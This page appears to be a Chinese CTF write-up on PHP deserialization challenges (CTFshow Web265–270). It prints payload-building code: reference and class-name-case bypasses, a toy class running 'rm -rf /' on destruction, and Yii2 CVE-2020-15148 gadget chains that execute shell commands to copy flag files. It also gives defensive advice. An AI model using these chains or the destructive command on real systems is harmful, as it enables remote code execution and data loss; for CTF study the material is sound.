当前位置: 首页 > news >正文

CTFshow-Web入门-反序列化漏洞实战解析(Web265-Web270)

1. 反序列化漏洞基础回顾

在开始实战之前,我们先快速回顾下PHP反序列化的核心概念。简单来说,序列化就是把对象转换成字符串的过程,而反序列化则是把这个字符串重新转回对象。这个过程本身没有问题,但当程序对用户输入的序列化数据没有严格检查时,攻击者就能通过构造恶意序列化数据来执行任意代码。

举个例子,假设有个User类:

class User { public $username; public $isAdmin = false; public function __destruct() { if($this->isAdmin) { system($this->username); } } }

如果程序直接反序列化用户输入的数据,攻击者可以构造这样的payload:

$malicious = new User(); $malicious->username = "rm -rf /"; $malicious->isAdmin = true; echo serialize($malicious);

这个案例展示了为什么反序列化会成为高危漏洞。接下来我们会看到CTFshow中这类漏洞的多种变形。

2. Web265:变量引用绕过

题目分析
这道题要求满足$this->token === $this->password的条件。关键点在于$ctfshow->token会被随机赋值为MD5值,看起来无法预测。

突破点:PHP的引用符号&
通过让password成为token的引用,可以使两者始终保持相同。构造payload时需要注意:

  1. 先创建对象并设置引用关系
  2. 序列化时会保留引用标记(R标识)

完整利用代码

class ctfshowAdmin { public $token; public $password; public function __construct() { $this->token = &$this->password; // 关键引用 } } echo serialize(new ctfshowAdmin());

实战技巧

  • 引用在序列化中显示为R:引用编号
  • 调试时可以先用var_dump检查引用关系
  • 注意PHP版本差异,有些老版本引用处理方式不同

3. Web266:魔术方法与异常处理

题目陷阱
直接传递ctfshow类会被检测并抛出异常,导致__destruct()无法触发。这里考察两个知识点:

  1. 大小写绕过:PHP类名大小写不敏感但正则可能区分
  2. 异常处理机制:抛出异常会中断执行流程

解决方案A(大小写绕过):

class Ctfshow { // 首字母大写 public $username = 'xxxxxx'; public $password = 'xxxxxx'; } echo serialize(new Ctfshow());

解决方案B(强制触发GC回收):

class ctfshow { public $username = 'xxxxxx'; public $password = 'xxxxxx'; } $arr = [new ctfshow(), null]; // 数组第二个元素为null echo serialize($arr);

原理剖析

  • 当数组元素被置为null时,PHP的垃圾回收机制会立即销毁对象
  • 这种方法在过滤严格时特别有用

4. Web267:Yii框架漏洞利用

环境特征

  • 存在/admin登录页面(弱口令admin/admin)
  • 发现反序列化入口:unserialize(base64_decode($_GET['code']))

漏洞利用: 这是经典的Yii2反序列化漏洞(CVE-2020-15148),攻击链如下:

  1. 构造恶意IndexAction
namespace yii\rest{ class IndexAction { public $checkAccess = 'exec'; public $id = 'cat /f* > my6n.txt'; } }
  1. 利用Generator触发
namespace Faker{ class Generator { protected $formatters; public function __construct() { $this->formatters['close'] = [new IndexAction(), 'run']; } } }
  1. 最终Payload生成
namespace{ echo base64_encode(serialize(new BatchQueryResult())); }

实战要点

  • 注意命名空间必须与Yii框架完全一致
  • 命令执行结果需要重定向到web目录
  • 新版Yii已修复此漏洞,但CTF环境多为旧版

5. Web268-270:补丁绕过技巧

当Web267的POC失效时,我们需要升级攻击方式:

新攻击链构造

namespace yii\rest{ class IndexAction { public function __construct($func, $param) { $this->checkAccess = $func; // 动态设置危险函数 $this->id = $param; // 动态设置参数 } } } namespace yii\web{ class DbSession { public function __construct($func, $param) { $this->writeCallback = [ new \yii\rest\IndexAction($func, $param), "run" ]; } } }

Payload生成改进

$exp = new BatchQueryResult('shell_exec', 'cp /f* my6n.txt'); echo base64_encode(serialize($exp));

绕过原理

  1. 使用更灵活的shell_exec代替固定命令
  2. 通过回调函数链实现多层触发
  3. 文件操作使用cp代替cat防止过滤

6. 防御方案与实战建议

虽然我们主要讨论攻击技巧,但作为开发者更需知道如何防御:

安全开发实践

  1. 输入验证:
if (!preg_match('/^[a-zA-Z0-9]+$/', $serialized)) { die('Invalid input'); }
  1. 使用安全的反序列化方法:
// PHP 7.0+ $data = unserialize($input, ['allowed_classes' => ['SafeClass']]);
  1. 关键操作权限分离:
  • 反序列化操作使用低权限账户
  • 敏感操作需要二次认证

CTF实战技巧

  1. 遇到黑名单过滤时:
  • 尝试十六进制/Unicode编码
  • 使用动态函数调用$func($param)
  1. 魔术方法触发顺序:
  • __wakeup在反序列化后立即调用
  • __destruct在对象销毁时调用
  • 新版本PHP中__unserialize优先级更高
  1. 环境探测:
  • 通过phpinfo()确认PHP版本
  • 检查框架版本(如Yii的YII_VERSION

在真实渗透测试中,反序列化漏洞往往需要结合其他漏洞利用。我曾在一个项目中通过反序列化+SSRF组合拿下了内网系统,关键是要保持对对象流动的敏感度。

http://www.jsqmd.com/news/560395/

相关文章:

  • 怎样用Java处理海量日志数据
  • 网络电台个性化高效管理:foobox-cn技术实现与应用指南
  • Java Web 助农管理系统系统源码-SpringBoot2+Vue3+MyBatis-Plus+MySQL8.0【含文档】
  • 5款开源大数据脱敏框架实战对比:从选型到落地避坑指南
  • 深求·墨鉴(DeepSeek-OCR-2)入门指南:OCR置信度阈值调整与结果过滤技巧
  • 3个强力功能解决微信聊天记录永久保存难题的完整指南
  • 从《流浪地球2》到现实:手把手用ROS2和Gazebo仿真多机器人协同搬运(附开源代码)
  • Meta2d.js终极指南:5分钟掌握专业级2D可视化开发
  • 2026年3月武汉美术高考培训/美术集训/美术艺考培训机构市场深度解析:五大实力画室服务商综合评鉴 - 2026年企业推荐榜
  • Base64混淆加密实战:前后端不一致问题解析与中文乱码解决方案
  • 视觉定位怎么用?Chord视频分析工具实战教程,精准找出视频中的指定目标
  • STM32CubeIDE下载器二选一:ST-LINK vs DAP,从接线到配置的保姆级对比指南
  • 5个实用技巧:用IOPaint实现AI图像修复的高效处理方案
  • 华为ENSP实战:手把手教你搭建住宅小区网络拓扑(附完整配置脚本)
  • StructBERT-Large语义匹配工具保姆级教程:修复兼容性报错+多版本Pipeline适配详解
  • 2026年全国注册公司咨询靠谱企业Top10,你选对了吗 - 工业推荐榜
  • 追求高精度生产?精密冲床到底哪家能满足需求?扬州锻压与您分享 - 品牌推荐大师
  • 从“只读副本”到“写入异常”:一次Redis主从切换故障的深度剖析与实战修复
  • 别再死记硬背了!用这3个真实项目案例,彻底搞懂JavaScript原型链和this指向
  • 告别COLMAP预处理:3D高斯溅射的零配置新体验
  • 3步解锁Calibre:让你的电子书在100+设备上流畅阅读
  • 避坑指南:解决POI导出Excel时『IllegalArgumentException: maximum length 32,767』的3种方案对比
  • 2026年3月柠檬酸厂家推荐,一水柠檬酸、无水柠檬酸、食品级柠檬酸、医药级柠檬酸、工业级柠檬酸,柠檬酸钠、柠檬酸钾、柠檬酸铵实力源头厂商 - 品牌企业推荐师(官方)
  • VS Code官宣绿色版:更强,更智能!
  • 突破显卡技术壁垒:OptiScaler让3A游戏画质升级不再受限于硬件
  • Mac Mouse Fix:开源鼠标增强工具如何解决macOS第三方鼠标兼容性问题
  • 如何用MetaTube打造专业级媒体库:6个元数据管理与媒体库增强技巧
  • 2026年市面上口碑好的硅胶制品模压成型液压机源头厂家推荐榜单,硅胶热压成型/真空模压/液态硅胶注射/密封件成型/自动化生产线,硅胶制品模压成型液压机制造企业哪家好 - 品牌推广师
  • 从GitHub新手到效率大神:Refined GitHub如何让你的开发工作流提速300%
  • 从零到一:ST-LINK驱动安装、Keil配置与实战调试全攻略